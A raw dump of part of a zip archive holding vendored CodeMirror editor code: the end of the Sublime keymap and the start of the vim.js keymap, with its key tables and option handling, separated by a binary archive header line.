      cm.setSelections(ranges, 0);
  };

  map["Alt-Q"] = "wrapLines";

  var cK = ctrl + "K ";

  function modifyWordOrSelection(cm, mod) {
    cm.operation(function() {
      var ranges = cm.listSelections(), indices = [], replacements = [];
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.empty()) { indices.push(i); replacements.push(""); }
        else replacements.push(mod(cm.getRange(range.from(), range.to())));
      }
      cm.replaceSelections(replacements, "around", "case");
      for (var i = indices.length - 1, at; i >= 0; i--) {
        var range = ranges[indices[i]];
        if (at && CodeMirror.cmpPos(range.head, at) > 0) continue;
        var word = wordAt(cm, range.head);
        at = word.from;
        cm.replaceRange(mod(word.word), word.from, word.to);
      }
    });
  }

  map[cK + ctrl + "Backspace"] = "delLineLeft";

  cmds[map["Backspace"] = "smartBackspace"] = function(cm) {
    if (cm.somethingSelected()) return CodeMirror.Pass;

    var cursor = cm.getCursor();
    var toStartOfLine = cm.getRange({line: cursor.line, ch: 0}, cursor);
    var column = CodeMirror.countColumn(toStartOfLine, null, cm.getOption("tabSize"));
    var indentUnit = cm.getOption("indentUnit");

    if (toStartOfLine && !/\S/.test(toStartOfLine) && column % indentUnit == 0) {
      var prevIndent = new Pos(cursor.line,
        CodeMirror.findColumn(toStartOfLine, column - indentUnit, indentUnit));

      // If no smart delete is happening (due to tab sizing) just do a regular delete
      if (prevIndent.ch == cursor.ch) return CodeMirror.Pass;

      return cm.replaceRange("", prevIndent, cursor, "+delete");
    } else {
      return CodeMirror.Pass;
    }
  };

  cmds[map[cK + ctrl + "K"] = "delLineRight"] = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = ranges.length - 1; i >= 0; i--)
        cm.replaceRange("", ranges[i].anchor, Pos(ranges[i].to().line), "+delete");
      cm.scrollIntoView();
    });
  };

  cmds[map[cK + ctrl + "U"] = "upcaseAtCursor"] = function(cm) {
    modifyWordOrSelection(cm, function(str) { return str.toUpperCase(); });
  };
  cmds[map[cK + ctrl + "L"] = "downcaseAtCursor"] = function(cm) {
    modifyWordOrSelection(cm, function(str) { return str.toLowerCase(); });
  };

  cmds[map[cK + ctrl + "Space"] = "setSublimeMark"] = function(cm) {
    if (cm.state.sublimeMark) cm.state.sublimeMark.clear();
    cm.state.sublimeMark = cm.setBookmark(cm.getCursor());
  };
  cmds[map[cK + ctrl + "A"] = "selectToSublimeMark"] = function(cm) {
    var found = cm.state.sublimeMark && cm.state.sublimeMark.find();
    if (found) cm.setSelection(cm.getCursor(), found);
  };
  cmds[map[cK + ctrl + "W"] = "deleteToSublimeMark"] = function(cm) {
    var found = cm.state.sublimeMark && cm.state.sublimeMark.find();
    if (found) {
      var from = cm.getCursor(), to = found;
      if (CodeMirror.cmpPos(from, to) > 0) { var tmp = to; to = from; from = tmp; }
      cm.state.sublimeKilled = cm.getRange(from, to);
      cm.replaceRange("", from, to);
    }
  };
  cmds[map[cK + ctrl + "X"] = "swapWithSublimeMark"] = function(cm) {
    var found = cm.state.sublimeMark && cm.state.sublimeMark.find();
    if (found) {
      cm.state.sublimeMark.clear();
      cm.state.sublimeMark = cm.setBookmark(cm.getCursor());
      cm.setCursor(found);
    }
  };
  cmds[map[cK + ctrl + "Y"] = "sublimeYank"] = function(cm) {
    if (cm.state.sublimeKilled != null)
      cm.replaceSelection(cm.state.sublimeKilled, null, "paste");
  };

  map[cK + ctrl + "G"] = "clearBookmarks";
  cmds[map[cK + ctrl + "C"] = "showInCenter"] = function(cm) {
    var pos = cm.cursorCoords(null, "local");
    cm.scrollTo(null, (pos.top + pos.bottom) / 2 - cm.getScrollInfo().clientHeight / 2);
  };

  cmds[map["Shift-Alt-Up"] = "selectLinesUpward"] = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.head.line > cm.firstLine())
          cm.addSelection(Pos(range.head.line - 1, range.head.ch));
      }
    });
  };
  cmds[map["Shift-Alt-Down"] = "selectLinesDownward"] = function(cm) {
    cm.operation(function() {
      var ranges = cm.listSelections();
      for (var i = 0; i < ranges.length; i++) {
        var range = ranges[i];
        if (range.head.line < cm.lastLine())
          cm.addSelection(Pos(range.head.line + 1, range.head.ch));
      }
    });
  };

  function getTarget(cm) {
    var from = cm.getCursor("from"), to = cm.getCursor("to");
    if (CodeMirror.cmpPos(from, to) == 0) {
      var word = wordAt(cm, from);
      if (!word.word) return;
      from = word.from;
      to = word.to;
    }
    return {from: from, to: to, query: cm.getRange(from, to), word: word};
  }

  function findAndGoTo(cm, forward) {
    var target = getTarget(cm);
    if (!target) return;
    var query = target.query;
    var cur = cm.getSearchCursor(query, forward ? target.to : target.from);

    if (forward ? cur.findNext() : cur.findPrevious()) {
      cm.setSelection(cur.from(), cur.to());
    } else {
      cur = cm.getSearchCursor(query, forward ? Pos(cm.firstLine(), 0)
                                              : cm.clipPos(Pos(cm.lastLine())));
      if (forward ? cur.findNext() : cur.findPrevious())
        cm.setSelection(cur.from(), cur.to());
      else if (target.word)
        cm.setSelection(target.from, target.to);
    }
  };
  cmds[map[ctrl + "F3"] = "findUnder"] = function(cm) { findAndGoTo(cm, true); };
  cmds[map["Shift-" + ctrl + "F3"] = "findUnderPrevious"] = function(cm) { findAndGoTo(cm,false); };
  cmds[map["Alt-F3"] = "findAllUnder"] = function(cm) {
    var target = getTarget(cm);
    if (!target) return;
    var cur = cm.getSearchCursor(target.query);
    var matches = [];
    var primaryIndex = -1;
    while (cur.findNext()) {
      matches.push({anchor: cur.from(), head: cur.to()});
      if (cur.from().line <= target.from.line && cur.from().ch <= target.from.ch)
        primaryIndex++;
    }
    cm.setSelections(matches, primaryIndex);
  };

  map["Shift-" + ctrl + "["] = "fold";
  map["Shift-" + ctrl + "]"] = "unfold";
  map[cK + ctrl + "0"] = map[cK + ctrl + "j"] = "unfoldAll";

  map[ctrl + "I"] = "findIncremental";
  map["Shift-" + ctrl + "I"] = "findIncrementalReverse";
  map[ctrl + "H"] = "replace";
  map["F3"] = "findNext";
  map["Shift-F3"] = "findPrev";

  CodeMirror.normalizeKeyMap(map);
});
PK     N\ֿ  B  inc/customizer/framework/assets/js/vendor/codemirror/keymap/vim.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

/**
 * Supported keybindings:
 *   Too many to list. Refer to defaultKeyMap below.
 *
 * Supported Ex commands:
 *   Refer to defaultExCommandMap below.
 *
 * Registers: unnamed, -, a-z, A-Z, 0-9
 *   (Does not respect the special case for number registers when delete
 *    operator is made with these commands: %, (, ),  , /, ?, n, N, {, } )
 *   TODO: Implement the remaining registers.
 *
 * Marks: a-z, A-Z, and 0-9
 *   TODO: Implement the remaining special marks. They have more complex
 *       behavior.
 *
 * Events:
 *  'vim-mode-change' - raised on the editor anytime the current mode changes,
 *                      Event object: {mode: "visual", subMode: "linewise"}
 *
 * Code structure:
 *  1. Default keymap
 *  2. Variable declarations and short basic helpers
 *  3. Instance (External API) implementation
 *  4. Internal state tracking objects (input state, counter) implementation
 *     and instanstiation
 *  5. Key handler (the main command dispatcher) implementation
 *  6. Motion, operator, and action implementations
 *  7. Helper functions for the key handler, motions, operators, and actions
 *  8. Set up Vim to work as a keymap for CodeMirror.
 *  9. Ex command implementations.
 */

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../lib/codemirror"), require("../addon/search/searchcursor"), require("../addon/dialog/dialog"), require("../addon/edit/matchbrackets.js"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../lib/codemirror", "../addon/search/searchcursor", "../addon/dialog/dialog", "../addon/edit/matchbrackets"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  'use strict';

  var defaultKeymap = [
    // Key to key mapping. This goes first to make it possible to override
    // existing mappings.
    { keys: '<Left>', type: 'keyToKey', toKeys: 'h' },
    { keys: '<Right>', type: 'keyToKey', toKeys: 'l' },
    { keys: '<Up>', type: 'keyToKey', toKeys: 'k' },
    { keys: '<Down>', type: 'keyToKey', toKeys: 'j' },
    { keys: '<Space>', type: 'keyToKey', toKeys: 'l' },
    { keys: '<BS>', type: 'keyToKey', toKeys: 'h', context: 'normal'},
    { keys: '<C-Space>', type: 'keyToKey', toKeys: 'W' },
    { keys: '<C-BS>', type: 'keyToKey', toKeys: 'B', context: 'normal' },
    { keys: '<S-Space>', type: 'keyToKey', toKeys: 'w' },
    { keys: '<S-BS>', type: 'keyToKey', toKeys: 'b', context: 'normal' },
    { keys: '<C-n>', type: 'keyToKey', toKeys: 'j' },
    { keys: '<C-p>', type: 'keyToKey', toKeys: 'k' },
    { keys: '<C-[>', type: 'keyToKey', toKeys: '<Esc>' },
    { keys: '<C-c>', type: 'keyToKey', toKeys: '<Esc>' },
    { keys: '<C-[>', type: 'keyToKey', toKeys: '<Esc>', context: 'insert' },
    { keys: '<C-c>', type: 'keyToKey', toKeys: '<Esc>', context: 'insert' },
    { keys: 's', type: 'keyToKey', toKeys: 'cl', context: 'normal' },
    { keys: 's', type: 'keyToKey', toKeys: 'xi', context: 'visual'},
    { keys: 'S', type: 'keyToKey', toKeys: 'cc', context: 'normal' },
    { keys: 'S', type: 'keyToKey', toKeys: 'dcc', context: 'visual' },
    { keys: '<Home>', type: 'keyToKey', toKeys: '0' },
    { keys: '<End>', type: 'keyToKey', toKeys: '$' },
    { keys: '<PageUp>', type: 'keyToKey', toKeys: '<C-b>' },
    { keys: '<PageDown>', type: 'keyToKey', toKeys: '<C-f>' },
    { keys: '<CR>', type: 'keyToKey', toKeys: 'j^', context: 'normal' },
    // Motions
    { keys: 'H', type: 'motion', motion: 'moveToTopLine', motionArgs: { linewise: true, toJumplist: true }},
    { keys: 'M', type: 'motion', motion: 'moveToMiddleLine', motionArgs: { linewise: true, toJumplist: true }},
    { keys: 'L', type: 'motion', motion: 'moveToBottomLine', motionArgs: { linewise: true, toJumplist: true }},
    { keys: 'h', type: 'motion', motion: 'moveByCharacters', motionArgs: { forward: false }},
    { keys: 'l', type: 'motion', motion: 'moveByCharacters', motionArgs: { forward: true }},
    { keys: 'j', type: 'motion', motion: 'moveByLines', motionArgs: { forward: true, linewise: true }},
    { keys: 'k', type: 'motion', motion: 'moveByLines', motionArgs: { forward: false, linewise: true }},
    { keys: 'gj', type: 'motion', motion: 'moveByDisplayLines', motionArgs: { forward: true }},
    { keys: 'gk', type: 'motion', motion: 'moveByDisplayLines', motionArgs: { forward: false }},
    { keys: 'w', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: false }},
    { keys: 'W', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: false, bigWord: true }},
    { keys: 'e', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: true, inclusive: true }},
    { keys: 'E', type: 'motion', motion: 'moveByWords', motionArgs: { forward: true, wordEnd: true, bigWord: true, inclusive: true }},
    { keys: 'b', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: false }},
    { keys: 'B', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: false, bigWord: true }},
    { keys: 'ge', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: true, inclusive: true }},
    { keys: 'gE', type: 'motion', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: true, bigWord: true, inclusive: true }},
    { keys: '{', type: 'motion', motion: 'moveByParagraph', motionArgs: { forward: false, toJumplist: true }},
    { keys: '}', type: 'motion', motion: 'moveByParagraph', motionArgs: { forward: true, toJumplist: true }},
    { keys: '<C-f>', type: 'motion', motion: 'moveByPage', motionArgs: { forward: true }},
    { keys: '<C-b>', type: 'motion', motion: 'moveByPage', motionArgs: { forward: false }},
    { keys: '<C-d>', type: 'motion', motion: 'moveByScroll', motionArgs: { forward: true, explicitRepeat: true }},
    { keys: '<C-u>', type: 'motion', motion: 'moveByScroll', motionArgs: { forward: false, explicitRepeat: true }},
    { keys: 'gg', type: 'motion', motion: 'moveToLineOrEdgeOfDocument', motionArgs: { forward: false, explicitRepeat: true, linewise: true, toJumplist: true }},
    { keys: 'G', type: 'motion', motion: 'moveToLineOrEdgeOfDocument', motionArgs: { forward: true, explicitRepeat: true, linewise: true, toJumplist: true }},
    { keys: '0', type: 'motion', motion: 'moveToStartOfLine' },
    { keys: '^', type: 'motion', motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: '+', type: 'motion', motion: 'moveByLines', motionArgs: { forward: true, toFirstChar:true }},
    { keys: '-', type: 'motion', motion: 'moveByLines', motionArgs: { forward: false, toFirstChar:true }},
    { keys: '_', type: 'motion', motion: 'moveByLines', motionArgs: { forward: true, toFirstChar:true, repeatOffset:-1 }},
    { keys: '$', type: 'motion', motion: 'moveToEol', motionArgs: { inclusive: true }},
    { keys: '%', type: 'motion', motion: 'moveToMatchedSymbol', motionArgs: { inclusive: true, toJumplist: true }},
    { keys: 'f<character>', type: 'motion', motion: 'moveToCharacter', motionArgs: { forward: true , inclusive: true }},
    { keys: 'F<character>', type: 'motion', motion: 'moveToCharacter', motionArgs: { forward: false }},
    { keys: 't<character>', type: 'motion', motion: 'moveTillCharacter', motionArgs: { forward: true, inclusive: true }},
    { keys: 'T<character>', type: 'motion', motion: 'moveTillCharacter', motionArgs: { forward: false }},
    { keys: ';', type: 'motion', motion: 'repeatLastCharacterSearch', motionArgs: { forward: true }},
    { keys: ',', type: 'motion', motion: 'repeatLastCharacterSearch', motionArgs: { forward: false }},
    { keys: '\'<character>', type: 'motion', motion: 'goToMark', motionArgs: {toJumplist: true, linewise: true}},
    { keys: '`<character>', type: 'motion', motion: 'goToMark', motionArgs: {toJumplist: true}},
    { keys: ']`', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: true } },
    { keys: '[`', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: false } },
    { keys: ']\'', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: true, linewise: true } },
    { keys: '[\'', type: 'motion', motion: 'jumpToMark', motionArgs: { forward: false, linewise: true } },
    // the next two aren't motions but must come before more general motion declarations
    { keys: ']p', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: true, isEdit: true, matchIndent: true}},
    { keys: '[p', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: false, isEdit: true, matchIndent: true}},
    { keys: ']<character>', type: 'motion', motion: 'moveToSymbol', motionArgs: { forward: true, toJumplist: true}},
    { keys: '[<character>', type: 'motion', motion: 'moveToSymbol', motionArgs: { forward: false, toJumplist: true}},
    { keys: '|', type: 'motion', motion: 'moveToColumn'},
    { keys: 'o', type: 'motion', motion: 'moveToOtherHighlightedEnd', context:'visual'},
    { keys: 'O', type: 'motion', motion: 'moveToOtherHighlightedEnd', motionArgs: {sameLine: true}, context:'visual'},
    // Operators
    { keys: 'd', type: 'operator', operator: 'delete' },
    { keys: 'y', type: 'operator', operator: 'yank' },
    { keys: 'c', type: 'operator', operator: 'change' },
    { keys: '>', type: 'operator', operator: 'indent', operatorArgs: { indentRight: true }},
    { keys: '<', type: 'operator', operator: 'indent', operatorArgs: { indentRight: false }},
    { keys: 'g~', type: 'operator', operator: 'changeCase' },
    { keys: 'gu', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: true}, isEdit: true },
    { keys: 'gU', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: false}, isEdit: true },
    { keys: 'n', type: 'motion', motion: 'findNext', motionArgs: { forward: true, toJumplist: true }},
    { keys: 'N', type: 'motion', motion: 'findNext', motionArgs: { forward: false, toJumplist: true }},
    // Operator-Motion dual commands
    { keys: 'x', type: 'operatorMotion', operator: 'delete', motion: 'moveByCharacters', motionArgs: { forward: true }, operatorMotionArgs: { visualLine: false }},
    { keys: 'X', type: 'operatorMotion', operator: 'delete', motion: 'moveByCharacters', motionArgs: { forward: false }, operatorMotionArgs: { visualLine: true }},
    { keys: 'D', type: 'operatorMotion', operator: 'delete', motion: 'moveToEol', motionArgs: { inclusive: true }, context: 'normal'},
    { keys: 'D', type: 'operator', operator: 'delete', operatorArgs: { linewise: true }, context: 'visual'},
    { keys: 'Y', type: 'operatorMotion', operator: 'yank', motion: 'moveToEol', motionArgs: { inclusive: true }, context: 'normal'},
    { keys: 'Y', type: 'operator', operator: 'yank', operatorArgs: { linewise: true }, context: 'visual'},
    { keys: 'C', type: 'operatorMotion', operator: 'change', motion: 'moveToEol', motionArgs: { inclusive: true }, context: 'normal'},
    { keys: 'C', type: 'operator', operator: 'change', operatorArgs: { linewise: true }, context: 'visual'},
    { keys: '~', type: 'operatorMotion', operator: 'changeCase', motion: 'moveByCharacters', motionArgs: { forward: true }, operatorArgs: { shouldMoveCursor: true }, context: 'normal'},
    { keys: '~', type: 'operator', operator: 'changeCase', context: 'visual'},
    { keys: '<C-w>', type: 'operatorMotion', operator: 'delete', motion: 'moveByWords', motionArgs: { forward: false, wordEnd: false }, context: 'insert' },
    // Actions
    { keys: '<C-i>', type: 'action', action: 'jumpListWalk', actionArgs: { forward: true }},
    { keys: '<C-o>', type: 'action', action: 'jumpListWalk', actionArgs: { forward: false }},
    { keys: '<C-e>', type: 'action', action: 'scroll', actionArgs: { forward: true, linewise: true }},
    { keys: '<C-y>', type: 'action', action: 'scroll', actionArgs: { forward: false, linewise: true }},
    { keys: 'a', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'charAfter' }, context: 'normal' },
    { keys: 'A', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'eol' }, context: 'normal' },
    { keys: 'A', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'endOfSelectedArea' }, context: 'visual' },
    { keys: 'i', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'inplace' }, context: 'normal' },
    { keys: 'I', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'firstNonBlank'}, context: 'normal' },
    { keys: 'I', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { insertAt: 'startOfSelectedArea' }, context: 'visual' },
    { keys: 'o', type: 'action', action: 'newLineAndEnterInsertMode', isEdit: true, interlaceInsertRepeat: true, actionArgs: { after: true }, context: 'normal' },
    { keys: 'O', type: 'action', action: 'newLineAndEnterInsertMode', isEdit: true, interlaceInsertRepeat: true, actionArgs: { after: false }, context: 'normal' },
    { keys: 'v', type: 'action', action: 'toggleVisualMode' },
    { keys: 'V', type: 'action', action: 'toggleVisualMode', actionArgs: { linewise: true }},
    { keys: '<C-v>', type: 'action', action: 'toggleVisualMode', actionArgs: { blockwise: true }},
    { keys: 'gv', type: 'action', action: 'reselectLastSelection' },
    { keys: 'J', type: 'action', action: 'joinLines', isEdit: true },
    { keys: 'p', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: true, isEdit: true }},
    { keys: 'P', type: 'action', action: 'paste', isEdit: true, actionArgs: { after: false, isEdit: true }},
    { keys: 'r<character>', type: 'action', action: 'replace', isEdit: true },
    { keys: '@<character>', type: 'action', action: 'replayMacro' },
    { keys: 'q<character>', type: 'action', action: 'enterMacroRecordMode' },
    // Handle Replace-mode as a special case of insert mode.
    { keys: 'R', type: 'action', action: 'enterInsertMode', isEdit: true, actionArgs: { replace: true }},
    { keys: 'u', type: 'action', action: 'undo', context: 'normal' },
    { keys: 'u', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: true}, context: 'visual', isEdit: true },
    { keys: 'U', type: 'operator', operator: 'changeCase', operatorArgs: {toLower: false}, context: 'visual', isEdit: true },
    { keys: '<C-r>', type: 'action', action: 'redo' },
    { keys: 'm<character>', type: 'action', action: 'setMark' },
    { keys: '"<character>', type: 'action', action: 'setRegister' },
    { keys: 'zz', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'center' }},
    { keys: 'z.', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'center' }, motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: 'zt', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'top' }},
    { keys: 'z<CR>', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'top' }, motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: 'z-', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'bottom' }},
    { keys: 'zb', type: 'action', action: 'scrollToCursor', actionArgs: { position: 'bottom' }, motion: 'moveToFirstNonWhiteSpaceCharacter' },
    { keys: '.', type: 'action', action: 'repeatLastEdit' },
    { keys: '<C-a>', type: 'action', action: 'incrementNumberToken', isEdit: true, actionArgs: {increase: true, backtrack: false}},
    { keys: '<C-x>', type: 'action', action: 'incrementNumberToken', isEdit: true, actionArgs: {increase: false, backtrack: false}},
    // Text object motions
    { keys: 'a<character>', type: 'motion', motion: 'textObjectManipulation' },
    { keys: 'i<character>', type: 'motion', motion: 'textObjectManipulation', motionArgs: { textObjectInner: true }},
    // Search
    { keys: '/', type: 'search', searchArgs: { forward: true, querySrc: 'prompt', toJumplist: true }},
    { keys: '?', type: 'search', searchArgs: { forward: false, querySrc: 'prompt', toJumplist: true }},
    { keys: '*', type: 'search', searchArgs: { forward: true, querySrc: 'wordUnderCursor', wholeWordOnly: true, toJumplist: true }},
    { keys: '#', type: 'search', searchArgs: { forward: false, querySrc: 'wordUnderCursor', wholeWordOnly: true, toJumplist: true }},
    { keys: 'g*', type: 'search', searchArgs: { forward: true, querySrc: 'wordUnderCursor', toJumplist: true }},
    { keys: 'g#', type: 'search', searchArgs: { forward: false, querySrc: 'wordUnderCursor', toJumplist: true }},
    // Ex command
    { keys: ':', type: 'ex' }
  ];

  /**
   * Ex commands
   * Care must be taken when adding to the default Ex command map. For any
   * pair of commands that have a shared prefix, at least one of their
   * shortNames must not match the prefix of the other command.
   */
  var defaultExCommandMap = [
    { name: 'colorscheme', shortName: 'colo' },
    { name: 'map' },
    { name: 'imap', shortName: 'im' },
    { name: 'nmap', shortName: 'nm' },
    { name: 'vmap', shortName: 'vm' },
    { name: 'unmap' },
    { name: 'write', shortName: 'w' },
    { name: 'undo', shortName: 'u' },
    { name: 'redo', shortName: 'red' },
    { name: 'set', shortName: 'se' },
    { name: 'set', shortName: 'se' },
    { name: 'setlocal', shortName: 'setl' },
    { name: 'setglobal', shortName: 'setg' },
    { name: 'sort', shortName: 'sor' },
    { name: 'substitute', shortName: 's', possiblyAsync: true },
    { name: 'nohlsearch', shortName: 'noh' },
    { name: 'delmarks', shortName: 'delm' },
    { name: 'registers', shortName: 'reg', excludeFromCommandHistory: true },
    { name: 'global', shortName: 'g' }
  ];

  var Pos = CodeMirror.Pos;

  var Vim = function() {
    function enterVimMode(cm) {
      cm.setOption('disableInput', true);
      cm.setOption('showCursorWhenSelecting', false);
      CodeMirror.signal(cm, "vim-mode-change", {mode: "normal"});
      cm.on('cursorActivity', onCursorActivity);
      maybeInitVimState(cm);
      CodeMirror.on(cm.getInputField(), 'paste', getOnPasteFn(cm));
    }

    function leaveVimMode(cm) {
      cm.setOption('disableInput', false);
      cm.off('cursorActivity', onCursorActivity);
      CodeMirror.off(cm.getInputField(), 'paste', getOnPasteFn(cm));
      cm.state.vim = null;
    }

    function detachVimMap(cm, next) {
      if (this == CodeMirror.keyMap.vim)
        CodeMirror.rmClass(cm.getWrapperElement(), "cm-fat-cursor");

      if (!next || next.attach != attachVimMap)
        leaveVimMode(cm, false);
    }
    function attachVimMap(cm, prev) {
      if (this == CodeMirror.keyMap.vim)
        CodeMirror.addClass(cm.getWrapperElement(), "cm-fat-cursor");

      if (!prev || prev.attach != attachVimMap)
        enterVimMode(cm);
    }

    // Deprecated, simply setting the keymap works again.
    CodeMirror.defineOption('vimMode', false, function(cm, val, prev) {
      if (val && cm.getOption("keyMap") != "vim")
        cm.setOption("keyMap", "vim");
      else if (!val && prev != CodeMirror.Init && /^vim/.test(cm.getOption("keyMap")))
        cm.setOption("keyMap", "default");
    });

    function cmKey(key, cm) {
      if (!cm) { return undefined; }
      var vimKey = cmKeyToVimKey(key);
      if (!vimKey) {
        return false;
      }
      var cmd = CodeMirror.Vim.findKey(cm, vimKey);
      if (typeof cmd == 'function') {
        CodeMirror.signal(cm, 'vim-keypress', vimKey);
      }
      return cmd;
    }

    var modifiers = {'Shift': 'S', 'Ctrl': 'C', 'Alt': 'A', 'Cmd': 'D', 'Mod': 'A'};
    var specialKeys = {Enter:'CR',Backspace:'BS',Delete:'Del'};
    function cmKeyToVimKey(key) {
      if (key.charAt(0) == '\'') {
        // Keypress character binding of format "'a'"
        return key.charAt(1);
      }
      var pieces = key.split('-');
      if (/-$/.test(key)) {
        // If the - key was typed, split will result in 2 extra empty strings
        // in the array. Replace them with 1 '-'.
        pieces.splice(-2, 2, '-');
      }
      var lastPiece = pieces[pieces.length - 1];
      if (pieces.length == 1 && pieces[0].length == 1) {
        // No-modifier bindings use literal character bindings above. Skip.
        return false;
      } else if (pieces.length == 2 && pieces[0] == 'Shift' && lastPiece.length == 1) {
        // Ignore Shift+char bindings as they should be handled by literal character.
        return false;
      }
      var hasCharacter = false;
      for (var i = 0; i < pieces.length; i++) {
        var piece = pieces[i];
        if (piece in modifiers) { pieces[i] = modifiers[piece]; }
        else { hasCharacter = true; }
        if (piece in specialKeys) { pieces[i] = specialKeys[piece]; }
      }
      if (!hasCharacter) {
        // Vim does not support modifier only keys.
        return false;
      }
      // TODO: Current bindings expect the character to be lower case, but
      // it looks like vim key notation uses upper case.
      if (isUpperCase(lastPiece)) {
        pieces[pieces.length - 1] = lastPiece.toLowerCase();
      }
      return '<' + pieces.join('-') + '>';
    }

    function getOnPasteFn(cm) {
      var vim = cm.state.vim;
      if (!vim.onPasteFn) {
        vim.onPasteFn = function() {
          if (!vim.insertMode) {
            cm.setCursor(offsetCursor(cm.getCursor(), 0, 1));
            actions.enterInsertMode(cm, {}, vim);
          }
        };
      }
      return vim.onPasteFn;
    }

    var numberRegex = /[\d]/;
    var wordCharTest = [CodeMirror.isWordChar, function(ch) {
      return ch && !CodeMirror.isWordChar(ch) && !/\s/.test(ch);
    }], bigWordCharTest = [function(ch) {
      return /\S/.test(ch);
    }];
    function makeKeyRange(start, size) {
      var keys = [];
      for (var i = start; i < start + size; i++) {
        keys.push(String.fromCharCode(i));
      }
      return keys;
    }
    var upperCaseAlphabet = makeKeyRange(65, 26);
    var lowerCaseAlphabet = makeKeyRange(97, 26);
    var numbers = makeKeyRange(48, 10);
    var validMarks = [].concat(upperCaseAlphabet, lowerCaseAlphabet, numbers, ['<', '>']);
    var validRegisters = [].concat(upperCaseAlphabet, lowerCaseAlphabet, numbers, ['-', '"', '.', ':', '/']);

    function isLine(cm, line) {
      return line >= cm.firstLine() && line <= cm.lastLine();
    }
    function isLowerCase(k) {
      return (/^[a-z]$/).test(k);
    }
    function isMatchableSymbol(k) {
      return '()[]{}'.indexOf(k) != -1;
    }
    function isNumber(k) {
      return numberRegex.test(k);
    }
    function isUpperCase(k) {
      return (/^[A-Z]$/).test(k);
    }
    function isWhiteSpaceString(k) {
      return (/^\s*$/).test(k);
    }
    function inArray(val, arr) {
      for (var i = 0; i < arr.length; i++) {
        if (arr[i] == val) {
          return true;
        }
      }
      return false;
    }

    var options = {};
    function defineOption(name, defaultValue, type, aliases, callback) {
      if (defaultValue === undefined && !callback) {
        throw Error('defaultValue is required unless callback is provided');
      }
      if (!type) { type = 'string'; }
      options[name] = {
        type: type,
        defaultValue: defaultValue,
        callback: callback
      };
      if (aliases) {
        for (var i = 0; i < aliases.length; i++) {
          options[aliases[i]] = options[name];
        }
      }
      if (defaultValue) {
        setOption(name, defaultValue);
      }
    }

    function setOption(name, value, cm, cfg) {
      var option = options[name];
      cfg = cfg || {};
      var scope = cfg.scope;
      if (!option) {
        throw Error('Unknown option: ' + name);
      }
      if (option.type == 'boolean') {
        if (value && value !== true) {
          throw Error('Invalid argument: ' + name + '=' + value);
        } else if (value !== false) {
          // Boolean options are set to true if value is not defined.
          value = true;
        }
      }
      if (option.callback) {
        if (scope !== 'local') {
          option.callback(value, undefined);
        }
        if (scope !== 'global' && cm) {
          option.callback(value, cm);
        }
      } else {
        if (scope !== 'local') {
          option.value = option.type == 'boolean' ? !!value : value;
        }
        if (scope !== 'global' && cm) {
          cm.state.vim.options[name] = {value: value};
        }
      }
    }

    function getOption(name, cm, cfg) {
      var option = options[name];
      cfg = cfg || {};
      var scope = cfg.scope;
      if (!option) {
        throw Error('Unknown option: ' + name);
      }
      if (option.callback) {
        var local = cm && option.callback(undefined, cm);
        if (scope !== 'global' && local !== undefined) {
          return local;
        }
        if (scope !== 'local') {
          return option.callback();
        }
        return;
      } else {
        var local = (scope !== 'global') && (cm && cm.state.vim.options[name]);
        return (local || (scope !== 'local') && option || {}).value;
      }
    }

    defineOption('filetype', undefined, 'string', ['ft'], function(name, cm) {
      // Option is local. Do nothing for global.
      if (cm === undefined) {
        return;
      }
      // The 'filetype' option proxies to the CodeMirror 'mode' option.
      if (name === undefined) {
        var mode = cm.getOption('mode');
        return mode == 'null' ? '' : mode;
      } else {
        var mode = name == '' ? 'null' : name;
        cm.setOption('mode', mode);
      }
    });

    var createCircularJumpList = function() {
      var size = 100;
      var pointer = -1;
      var head = 0;
      var tail = 0;
      var buffer = new Array(size);
      function add(cm, oldCur, newCur) {
        var current = pointer % size;
        var curMark = buffer[current];
        function useNextSlot(cursor) {
          var next = ++pointer % size;
          var trashMark = buffer[next];
          if (trashMark) {
            trashMark.clear();
          }
          buffer[next] = cm.setBookmark(cursor);
        }
        if (curMark) {
          var markPos = curMark.find();
          // avoid recording redundant cursor position
          if (markPos && !cursorEqual(markPos, oldCur)) {
            useNextSlot(oldCur);
          }
        } else {
          useNextSlot(oldCur);
        }
        useNextSlot(newCur);
